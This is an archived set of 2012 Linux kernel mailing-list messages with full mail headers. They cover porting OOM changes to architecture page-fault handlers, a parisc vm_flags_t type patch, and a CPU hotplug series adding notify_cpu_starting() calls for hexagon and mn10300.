Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.openrisc,gmane.linux.uclinux.microblaze,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH 0/20] mmu: arch/mm: Port OOM changes to arch page fault handlers.
Date: Tue, 20 Mar 2012 14:36:06 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <CAFLxGvyVbDndbu_2ZbUBwbrJCq+d4rRZW0ROxTpQxAvetRm=0w@mail.gmail.com>
References: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
	<CAFLxGvwW2XcYSoidZZ0XF_a-pH3SwONqS+hCnpGUecQ__DLa_g@mail.gmail.com>
	<CAFPAmTSzV9mrkbP68p4PA-0i0o2Hz7JiBY=0A0V_myJEzWubjQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1332250573 14524 80.91.229.3 (20 Mar 2012 13:36:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Mar 2012 13:36:13 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, 
	linux@lists.openrisc.net, linux-am33-list@redhat.com, 
	microblaze-uclinux@itee.uq.edu.au, linux-m68k@lists.linux-m68k.org, 
	linux-m32r-ja@ml.linux-m32r.org, linux-ia64@vger.kernel.org, 
	linux-hexagon@vger.kernel.org, linux-cris-kernel@axis.com, 
	linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org, 
	sparclinux@vger.kernel.org, linux-mm@kvack.org, linux-kernel@vger.kernel.org
To: Kautuk Consul <consul.kautuk@gmail.com>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 20 14:36:10 2012
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1S9zEP-00061A-Ud
	for glkm-linux-mm-2@m.gmane.org; Tue, 20 Mar 2012 14:36:10 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 5B81E6B004A; Tue, 20 Mar 2012 09:36:08 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 556626B004D; Tue, 20 Mar 2012 09:36:08 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3D4406B0092; Tue, 20 Mar 2012 09:36:08 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx151.postini.com [74.125.245.151])
	by kanga.kvack.org (Postfix) with SMTP id 57D816B004A
	for <linux-mm@kvack.org>; Tue, 20 Mar 2012 09:36:07 -0400 (EDT)
Original-Received: from mail-yx0-f169.google.com ([209.85.213.169]) (using TLSv1) by na3sys010amx151.postini.com ([74.125.244.10]) with SMTP;
	Tue, 20 Mar 2012 13:36:07 GMT
Original-Received: by yenm8 with SMTP id m8so49101yen.14
        for <linux-mm@kvack.org>; Tue, 20 Mar 2012 06:36:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=z8vsK81CygBIuHX16jyNJHAJj27uKl4lPGrdmm5sdCc=;
        b=Un0MNinOAKV7X1eDc/Osjv1V4bvQULSASOrucHPQuSNXckMJDmLUc9OAZDnX2JtepB
         tRLcQh2wiwCQ6EUZy6hToHExuu5QEV8A+rR5o87jRqlRjGJHeNncM9A/SpNsZ6H/3BDP
         OWJxJEj0vFXQND6mMN1GoUlTjIWPK8238QgKZpsanOaphnLZebUVgCOSS1F4K09epa7T
         vPJyekeVu8fr1jWiaGfonnXUGbIv7mw1mYa+n8Oy8ytgS6h4HAIroqSGkEs+g13xDXN4
         wxR9VYXfIq11oa8Lb608XgV97bOeORf18J9RfZgHJeijIZ80Gp+KIZqfb4bWeUHpWkwD
         wqfg==
Original-Received: by 10.182.36.3 with SMTP id m3mr9998173obj.8.1332250566242; Tue, 20
 Mar 2012 06:36:06 -0700 (PDT)
Original-Received: by 10.60.25.101 with HTTP; Tue, 20 Mar 2012 06:36:06 -0700 (PDT)
In-Reply-To: <CAFPAmTSzV9mrkbP68p4PA-0i0o2Hz7JiBY=0A0V_myJEzWubjQ@mail.gmail.com>
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.1000) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <richard.weinberger@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:75625 gmane.linux.ports.alpha:1725 gmane.linux.ports.ppc64.devel:81090 gmane.linux.ports.openrisc:86 gmane.linux.uclinux.microblaze:11796 gmane.linux.ports.ia64:22121 gmane.linux.ports.hexagon:390 gmane.linux.ports.sh.devel:14043 gmane.linux.ports.parisc:4235 gmane.linux.ports.sparc:15907 gmane.linux.kernel:1270254
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/75625>

On Tue, Mar 20, 2012 at 2:34 PM, Kautuk Consul <consul.kautuk@gmail.com> wrote:
>>
>> What about arch/um/?
>> Does UML not need this change?
>
> Oh yes, extremely sorry I accidentally missed that one out.
> Mind if I send it separately ?

No problem.
handle_page_fault() is the function you want to patch. :)

-- 
Thanks,
//richard

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Konstantin Khlebnikov <khlebnikov@openvz.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 13/16] mm/parisc: use vm_flags_t for vma flags
Date: Wed, 21 Mar 2012 10:57:06 +0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20120321065706.13852.68934.stgit@zurg>
References: <20120321065140.13852.52315.stgit@zurg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332313035 32407 80.91.229.3 (21 Mar 2012 06:57:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Mar 2012 06:57:15 +0000 (UTC)
Cc: linux-mm@kvack.org, Helge Deller <deller@gmx.de>,
 linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Mar 21 07:57:12 2012
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1SAFTr-0007F4-SW
	for glkm-linux-mm-2@m.gmane.org; Wed, 21 Mar 2012 07:57:12 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 089ED6B00F1; Wed, 21 Mar 2012 02:57:11 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F302E6B00F2; Wed, 21 Mar 2012 02:57:10 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DBC616B00F3; Wed, 21 Mar 2012 02:57:10 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx163.postini.com [74.125.245.163])
	by kanga.kvack.org (Postfix) with SMTP id 3839C6B00F1
	for <linux-mm@kvack.org>; Wed, 21 Mar 2012 02:57:10 -0400 (EDT)
Original-Received: from mail-bk0-f41.google.com ([209.85.214.41]) (using TLSv1) by na3sys010amx163.postini.com ([74.125.244.10]) with SMTP;
	Wed, 21 Mar 2012 06:57:10 GMT
Original-Received: by mail-bk0-f41.google.com with SMTP id q16so872729bkw.14
        for <linux-mm@kvack.org>; Tue, 20 Mar 2012 23:57:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=AD75DlqHInn2GhQz7JWgg+arJvr8vUQQM3x2TC3F/yU=;
        b=SUfI+aFj2+miLQZOozQH6NB0BwmbeUtC0wzKGjQJy1NfNh6AODKB+HsxkOr/AN07Pe
         cPRkWKq4//IahPxGa14SmbxLYhQ3V3UJTZOkTg9TqfWj6v/M4B6Po5aZpk/esEJywL9N
         9c6oYKOi44Hj/coQukZwluzArOfWHlTJXkZ5Cozb6MCO8YlFoCrxARJKbDOSsw8+wre5
         SoQbaXRWV0cZio4yXEzkmOh/kec5RnwCFIPebGZj5t1NjLXYBJ7zlSH7X/HaCqG/LW+D
         rpRKUO/HYalvoUtgsb60ZtcPJQZXrKQkj5V3L7q7cSyUr6qHKV1/erAw4KlxAbjHO+qx
         qAig==
Original-Received: by 10.204.128.65 with SMTP id j1mr1009618bks.74.1332313029632;
        Tue, 20 Mar 2012 23:57:09 -0700 (PDT)
Original-Received: from localhost (95-25-247-196.broadband.corbina.ru. [95.25.247.196])
        by mx.google.com with ESMTPS id fh5sm1445946bkc.1.2012.03.20.23.57.07
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 20 Mar 2012 23:57:08 -0700 (PDT)
In-Reply-To: <20120321065140.13852.52315.stgit@zurg>
User-Agent: StGit/0.15
X-pstn-neptune: 2/1/0.50/71
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.1000) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <khlebnikov@openvz.org> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:75677 gmane.linux.kernel:1270664 gmane.linux.ports.parisc:4236
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/75677>

Signed-off-by: Konstantin Khlebnikov <khlebnikov@openvz.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/mm/fault.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..0d3680a 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -49,7 +49,7 @@ DEFINE_PER_CPU(struct exception_data, exception_data);
  *   VM_WRITE if write operation
  *   VM_EXEC  if execute operation
  */
-static unsigned long
+static vm_flags_t
 parisc_acctyp(unsigned long code, unsigned int inst)
 {
 	if (code == 6 || code == 16)
@@ -173,7 +173,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct vm_area_struct *vma, *prev_vma;
 	struct task_struct *tsk = current;
 	struct mm_struct *mm = tsk->mm;
-	unsigned long acc_type;
+	vm_flags_t acc_type;
 	int fault;
 
 	if (in_atomic() || !mm)

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/4] mn10300/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Thu, 22 Mar 2012 16:58:47 +0530
Lines: 32
Approved: news@gmane.org
Message-ID: <20120322112830.17063.88766.stgit@srivatsabhat.in.ibm.com>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332415749 11338 80.91.229.3 (22 Mar 2012 11:29:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 11:29:09 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org
To: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, a.p.zijlstra@chello.nl, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Mar 22 12:29:04 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SAgCU-0003nh-3B
	for glphk-linux-hexagon@plane.gmane.org; Thu, 22 Mar 2012 12:29:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755465Ab2CVL3B (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Thu, 22 Mar 2012 07:29:01 -0400
Original-Received: from e28smtp08.in.ibm.com ([122.248.162.8]:59127 "EHLO
	e28smtp08.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755030Ab2CVL3A (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Thu, 22 Mar 2012 07:29:00 -0400
Original-Received: from /spool/local
	by e28smtp08.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-hexagon@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Thu, 22 Mar 2012 16:58:54 +0530
Original-Received: from d28relay03.in.ibm.com (9.184.220.60)
	by e28smtp08.in.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Thu, 22 Mar 2012 16:58:50 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay03.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2MBSnWL1945752;
	Thu, 22 Mar 2012 16:58:50 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2MGxOcD030732;
	Fri, 23 Mar 2012 03:59:26 +1100
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.176])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2MGxOMR030722;
	Fri, 23 Mar 2012 03:59:24 +1100
In-Reply-To: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
User-Agent: StGIT/0.14.3
x-cbid: 12032211-2000-0000-0000-000006E042F5
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:393 gmane.linux.kernel:1271390 gmane.linux.ports.parisc:4238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/393>

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/mn10300/kernel/smp.c |    8 ++++++--
 1 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/arch/mn10300/kernel/smp.c b/arch/mn10300/kernel/smp.c
index 9242e9f..25ca7fe 100644
--- a/arch/mn10300/kernel/smp.c
+++ b/arch/mn10300/kernel/smp.c
@@ -875,10 +875,14 @@ static void __init smp_online(void)
 
 	cpu = smp_processor_id();
 
-	local_irq_enable();
+	notify_cpu_starting(cpu);
 
+	ipi_call_lock();
 	set_cpu_online(cpu, true);
-	smp_wmb();
+	ipi_call_unlock();
+
+	local_irq_enable();
+
 }
 
 /**


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 0/4] arch/CPU hotplug: Add missing CPU Hotplug bits to fix
 nasty issues
Date: Thu, 22 Mar 2012 16:58:00 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332415997 13228 80.91.229.3 (22 Mar 2012 11:33:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 11:33:17 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org
To: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, a.p.zijlstra@chello.nl, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Mar 22 12:33:12 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SAgGR-00005s-B0
	for glphk-linux-hexagon@plane.gmane.org; Thu, 22 Mar 2012 12:33:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755461Ab2CVLdE (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Thu, 22 Mar 2012 07:33:04 -0400
Original-Received: from e28smtp08.in.ibm.com ([122.248.162.8]:58256 "EHLO
	e28smtp08.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754912Ab2CVLdD (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Thu, 22 Mar 2012 07:33:03 -0400
Original-Received: from /spool/local
	by e28smtp08.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-hexagon@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Thu, 22 Mar 2012 17:03:01 +0530
Original-Received: from d28relay03.in.ibm.com (9.184.220.60)
	by e28smtp08.in.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Thu, 22 Mar 2012 17:02:56 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay03.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2MBS3Mn2961420;
	Thu, 22 Mar 2012 16:58:04 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2MGwbnv028453;
	Fri, 23 Mar 2012 03:58:39 +1100
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.176])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2MGwbLx028447;
	Fri, 23 Mar 2012 03:58:37 +1100
User-Agent: StGIT/0.14.3
x-cbid: 12032211-2000-0000-0000-000006E04BA0
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:394 gmane.linux.kernel:1271391 gmane.linux.ports.parisc:4239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/394>

Unfortunately, some of the CPU Hotplug code has been duplicated in all of
the architectures. And in some cases, very poorly (some architectures left
out some of the important bits), to add to the woes.

Commit 5fbd036b552f633abb394a319f7c62a5c86a9cd7 (sched: Cleanup cpu_active
madness) introduced some changes that made the scheduler rely on the
CPU_STARTING notifier. And hence those architectures which forgot to
send out the CPU_STARTING notification will almost surely get into trouble.
(Xen is one example[1]).

The proper fix would be to pull out these bits into generic CPU Hotplug code.
But for now, fix this regression by adding the missing bits in the respective
architectures.

[1].https://lkml.org/lkml/2012/3/20/459
--
 Srivatsa S. Bhat (4):
      hexagon/CPU hotplug: Add missing call to notify_cpu_starting()
      mn10300/CPU hotplug: Add missing call to notify_cpu_starting()
      parisc/CPU hotplug: Add missing call to notify_cpu_starting()
      tile/CPU hotplug: Add missing call to notify_cpu_starting()


  arch/hexagon/kernel/smp.c  |    5 +++++
 arch/mn10300/kernel/smp.c  |    8 ++++++--
 arch/parisc/kernel/smp.c   |    7 ++++++-
 arch/tile/kernel/smpboot.c |    2 ++
 4 files changed, 19 insertions(+), 3 deletions(-)


Regards,
Srivatsa S. Bhat
IBM Linux Technology Center


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.hexagon,gmane.linux.kernel
Subject: [PATCH 1/4] hexagon/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Thu, 22 Mar 2012 16:58:25 +0530
Lines: 33
Approved: news@gmane.org
Message-ID: <20120322112805.17063.19393.stgit@srivatsabhat.in.ibm.com>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332417829 27817 80.91.229.3 (22 Mar 2012 12:03:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 12:03:49 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org
To: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, a.p.zijlstra@chello.nl, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 22 13:03:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SAgk4-0006Yn-EG
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Mar 2012 13:03:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757806Ab2CVMDn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Mar 2012 08:03:43 -0400
Original-Received: from e28smtp01.in.ibm.com ([122.248.162.1]:49288 "EHLO
	e28smtp01.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757735Ab2CVMDn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Mar 2012 08:03:43 -0400
Original-Received: from /spool/local
	by e28smtp01.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Thu, 22 Mar 2012 17:01:20 +0530
Original-Received: from d28relay04.in.ibm.com (9.184.220.61)
	by e28smtp01.in.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Thu, 22 Mar 2012 16:59:54 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay04.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2MBSSJp2625636;
	Thu, 22 Mar 2012 16:58:28 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2MGx2id029631;
	Fri, 23 Mar 2012 03:59:05 +1100
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.176])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2MGx2ou029628;
	Fri, 23 Mar 2012 03:59:02 +1100
In-Reply-To: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
User-Agent: StGIT/0.14.3
x-cbid: 12032211-4790-0000-0000-000001E777EE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4240 gmane.linux.ports.hexagon:395 gmane.linux.kernel:1271404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4240>

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/hexagon/kernel/smp.c |    5 +++++
 1 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/arch/hexagon/kernel/smp.c b/arch/hexagon/kernel/smp.c
index 0123c63..71ad6e9 100644
--- a/arch/hexagon/kernel/smp.c
+++ b/arch/hexagon/kernel/smp.c
@@ -178,7 +178,12 @@ void __cpuinit start_secondary(void)
 
 	printk(KERN_INFO "%s cpu %d\n", __func__, current_thread_info()->cpu);
 
+	notify_cpu_starting(cpu);
+
+	ipi_call_lock();
 	set_cpu_online(cpu, true);
+	ipi_call_unlock();
+
 	local_irq_enable();
 
 	cpu_idle();

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
